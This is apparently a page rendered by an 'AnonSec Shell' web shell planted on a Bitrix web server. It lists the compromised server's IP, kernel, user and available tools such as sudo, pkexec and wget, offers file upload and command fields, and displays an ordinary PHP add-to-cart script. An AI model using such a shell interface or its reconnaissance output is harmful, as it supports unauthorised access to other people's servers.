AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.138.106.212
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/ajax/add_to_cart_custom.php
<?require_once($_SERVER['DOCUMENT_ROOT']. "/bitrix/modules/main/include/prolog_before.php");



if (isset($_POST['itemList']) && !empty($_POST['itemList']) && CModule::IncludeModule("catalog")) {
	$itemList = json_decode($_POST['itemList']);
		
	
	foreach ($itemList as $key => $value) {
		$arOffers[$value[0]]['ID'] = $value[0];
		$arOffers[$value[0]]['QUANTITY'] = $value[1];
	}

	if($arOffers){
		$dbBasketItems = CSaleBasket::GetList(
			array(
					"NAME" => "ASC",
					"ID" => "ASC"
				),
			array(
					"FUSER_ID" => CSaleBasket::GetBasketUserID(),
					"LID" => SITE_ID,
					"ORDER_ID" => "NULL"
				),
			false,
			false,
			array("ID", "CALLBACK_FUNC", "MODULE", 
				  "PRODUCT_ID", "QUANTITY", "DELAY", 
				  "CAN_BUY", "PRICE", "WEIGHT")
		);
		
		
		while ($arItem = $dbBasketItems->Fetch())
		{
			if($arOffers[$arItem['PRODUCT_ID']]){
				$arOffers[$arItem['PRODUCT_ID']]['QUANTITY'] = $arOffers[$arItem['PRODUCT_ID']]['QUANTITY'] + $arItem['QUANTITY'];
				$arOffers[$arItem['PRODUCT_ID']]['BASKET_ID'] = $arItem['ID'];
				$arIDForUpdate[] = $arItem['PRODUCT_ID'];
			}
		}
		
		foreach ($arOffers as $key => $arOffer) {
			if(is_array($arIDForUpdate) and in_array($arOffer['ID'], $arIDForUpdate)){
				$arFields = array(
				   "QUANTITY" => $arOffer['QUANTITY'],
				   "DELAY" => "N"
				);
				
				CSaleBasket::Update($arOffer['BASKET_ID'], $arFields);
			}else{
				
				$rr = Add2BasketByProductID($arOffer['ID'], $arOffer['QUANTITY']);
				
				
				if ($ex = $APPLICATION->GetException()){
					_vardump($ex->GetString(), 'f', false);
				}

				
			}			
		}
		echo "ok";
	}
} else echo 'Запрос пуст';
?>

Anon7 - 2022
AnonSec Team